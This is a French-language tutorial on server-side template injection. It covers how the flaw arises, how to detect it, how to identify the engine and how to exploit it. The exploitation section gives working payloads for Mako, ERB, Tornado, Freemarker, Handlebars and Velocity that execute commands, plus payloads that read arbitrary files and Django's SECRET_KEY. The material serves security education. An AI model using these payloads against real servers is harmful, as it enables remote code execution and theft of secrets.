Aller au contenu

Injection de template côté serveur (SSTI)

L'injection de template côté serveur (Server-Side Template Injection, SSTI) se produit lorsqu'un attaquant parvient à injecter, dans un template, une charge utile écrite dans la syntaxe native du moteur de template, charge qui est ensuite évaluée côté serveur. Les moteurs de template servent normalement à générer des pages en combinant un gabarit fixe avec des données dynamiques ; la faille apparaît quand une entrée utilisateur est intégrée au template lui-même au lieu de lui être transmise comme une simple donnée.

L'évaluation ayant lieu sur le serveur, la SSTI est potentiellement bien plus grave qu'une injection côté client. Dans les cas les plus sévères, elle conduit à l'exécution de code à distance et à la prise de contrôle complète du serveur. Même lorsque l'exécution complète est hors de portée, elle sert souvent de tremplin vers d'autres attaques : lecture de fichiers arbitraires, accès à des données sensibles, traversée de répertoires.

Comment la faille apparaît

La SSTI naît de la concaténation d'une entrée utilisateur dans un template, plutôt que de son passage comme donnée. Un template statique qui se contente d'afficher une variable n'est pas vulnérable. Dans cet exemple Twig, le prénom est transmis comme donnée, sans danger :

$output = $twig->render("Bonjour {first_name}", array("first_name" => $user.first_name));

En revanche, dès que l'entrée est concaténée dans la chaîne du template, elle devient interprétable :

$output = $twig->render("Bonjour " . $_GET['name']);

Ici, le paramètre name fait partie du template évalué côté serveur. Un attaquant peut donc y glisser une expression de template :

https://site-vulnerable.example/?name={{7*7}}

Ce type de faille résulte parfois d'une simple maladresse de conception — comparable à une injection SQL dans une requête mal écrite — mais peut aussi découler d'un choix délibéré, comme autoriser certains utilisateurs privilégiés à soumettre des templates personnalisés, ce qui devient critique si un tel compte est compromis.

Détecter une SSTI

Le test de robustesse

La première approche, indépendante du contexte, consiste à injecter une séquence de caractères spéciaux courants dans les expressions de template et à observer si une erreur survient :

${{<%[%'"}}%\

Si une exception est levée, la syntaxe injectée est probablement interprétée par le serveur — un premier indice de SSTI. Quel que soit le résultat de ce test, il faut ensuite confirmer selon le contexte, car la faille se manifeste de deux façons distinctes.

Contexte en texte clair

La plupart des moteurs permettent de saisir du contenu libre. Pour distinguer une SSTI d'un simple XSS, on injecte une opération mathématique dans la syntaxe du moteur. Pour un code vulnérable du type render('Bonjour ' + username), on teste :

https://site-vulnerable.example/?username=${7*7}

Si le résultat affiche Bonjour 49, l'opération a été évaluée côté serveur : c'est une preuve de concept solide. La syntaxe exacte qui déclenche l'évaluation varie selon le moteur, ce qui sert ensuite à l'identifier.

Contexte de code

Lorsque l'entrée est insérée dans une expression de template (un nom de variable contrôlable, par exemple), la faille est plus discrète et difficile à distinguer d'une simple recherche en table de hachage. On vérifie d'abord l'absence de XSS direct en injectant du HTML, puis on tente de sortir de l'expression avec la syntaxe de fermeture du moteur avant d'injecter du HTML arbitraire :

https://site-vulnerable.example/?greeting=data.username}}<tag>

Si le HTML s'affiche correctement après la sortie de l'expression, la SSTI est confirmée. Si le résultat reste vide ou en erreur, la syntaxe de template est mauvaise — ou la SSTI est impossible.

Identifier le moteur

Beaucoup de moteurs partagent une syntaxe proche (choisie pour éviter les conflits avec le HTML), ce qui facilite l'élaboration de requêtes de test discriminantes. Le plus rapide est souvent de soumettre une syntaxe invalide : le message d'erreur révèle fréquemment le moteur, parfois sa version. L'expression invalide <%=foobar%> déclenche par exemple une erreur explicite du moteur ERB (Ruby).

À défaut, on teste des opérations mathématiques dans la syntaxe de différents moteurs, en procédant par élimination. Un arbre de décision est utile, mais il faut rester prudent : une même charge peut donner un résultat positif sur plusieurs moteurs. Le payload {{7*'7'}} renvoie 49 sur Twig mais 7777777 sur Jinja2 — ce qui permet justement de les distinguer.

Un polyglotte universel sert à provoquer une erreur révélatrice quel que soit le moteur :

<%'${{/#{@}}%>{{

Exploiter une SSTI

Une fois la faille détectée et le moteur identifié, l'exploitation suit trois axes : lire la documentation, explorer l'environnement, puis construire une attaque sur mesure.

Lire la documentation

À moins de maîtriser parfaitement le moteur, sa documentation est le meilleur point de départ : syntaxe de base, fonctions clés, gestion des variables. L'intégration d'un bloc de code natif suffit parfois à exécuter une commande. Sur le moteur Mako (Python), l'exécution de code peut être aussi directe que :

<%
import os
x=os.popen('id').read()
%>
${x}

Dans un environnement non isolé, lire ou modifier des fichiers est tout aussi simple sur de nombreux moteurs. Quelques exemples illustratifs, dans lesquels id figure comme commande de démonstration inoffensive :

# ERB (Ruby)
<%= system("id") %>

# Tornado (Python)
{%import os%}{{os.system("id")}}

# Freemarker
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

# Handlebars
{{this.push "return require('child_process').exec('id');"}}

La section « Sécurité » de la documentation, quand elle existe, est une mine : elle liste les actions dangereuses, servant de pense-bête pour l'audit. Dans ERB, elle révèle par exemple comment lister un répertoire puis lire un fichier :

<%= Dir.entries('/') %>
<%= File.open('/chemin/vers/fichier').read %>

Explorer l'environnement

Si la documentation ne suffit pas, on explore les objets accessibles. Beaucoup de moteurs exposent un objet self ou environment qui sert d'espace de noms vers tous les objets et méthodes pris en charge. En Java, on peut parfois lister les variables d'environnement :

${T(java.lang.System).getenv()}

Il faut prêter une attention particulière aux objets fournis par le développeur, non standard et absents de toute documentation : ils contiennent souvent des données sensibles ou des failles. Quand l'exécution de code à distance est impossible (moteur en bac à sable), ces objets et la traversée de répertoires restent des vecteurs critiques. Une démarche typique : provoquer une erreur qui révèle le moteur (Django, par exemple), consulter sa documentation, y découvrir une commande de débogage exposant un objet de configuration, puis lire une valeur sensible :

{% debug %}
{{settings.SECRET_KEY}}

Construire une attaque personnalisée

Quand ni les exploits documentés ni les vulnérabilités connues n'aboutissent — souvent à cause d'un bac à sable — il faut concevoir un exploit sur mesure, en examinant méthodiquement chaque fonction accessible à la recherche d'un comportement exploitable. L'enchaînement d'objets et de méthodes permet parfois d'atteindre des fonctionnalités sensibles a priori inaccessibles. Dans le moteur Velocity (Java), l'objet $class peut ainsi être chaîné pour obtenir une référence à un objet arbitraire et exécuter une commande :

$class.inspect("java.lang.Runtime").type.getRuntime().exec("id")

Sur FreeMarker, un enchaînement comparable permet de lire un fichier arbitraire :

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/chemin/vers/fichier').toURL().openStream().readAllBytes()?join(" ")}

Les objets du développeur offrent une surface d'attaque supplémentaire, souvent moins protégée. La démarche est alors purement manuelle : provoquer une erreur qui révèle un chemin de fichier source, lire ce fichier via une fonctionnalité du moteur, y repérer une méthode dangereuse, puis l'invoquer. Cette exploration progressive transforme une primitive de lecture en une chaîne complète sans jamais quitter le bac à sable.

Aide-mémoire

Étape Approche
Détecter (test générique) Injecter ${{<%[%'"}}%\ et guetter l'erreur
Confirmer (texte clair) Opération mathématique ${7*7}49
Confirmer (contexte de code) Sortir de l'expression }}<tag>
Identifier le moteur Syntaxe invalide → message d'erreur ; {{7*'7'}} (Twig vs Jinja2)
Exploiter (documentation) Bloc de code natif selon le moteur (Mako, ERB, Freemarker…)
Exploiter (exploration) Objet environment, objets du développeur, traversée de répertoires
Bac à sable Chaînage d'objets sur mesure ($class.inspect, getClass())

Les aide-mémoire de polyglottes et la table d'identification des moteurs de template (HackTricks, Hackmanit) sont des références utiles pour accélérer l'identification et l'exploitation.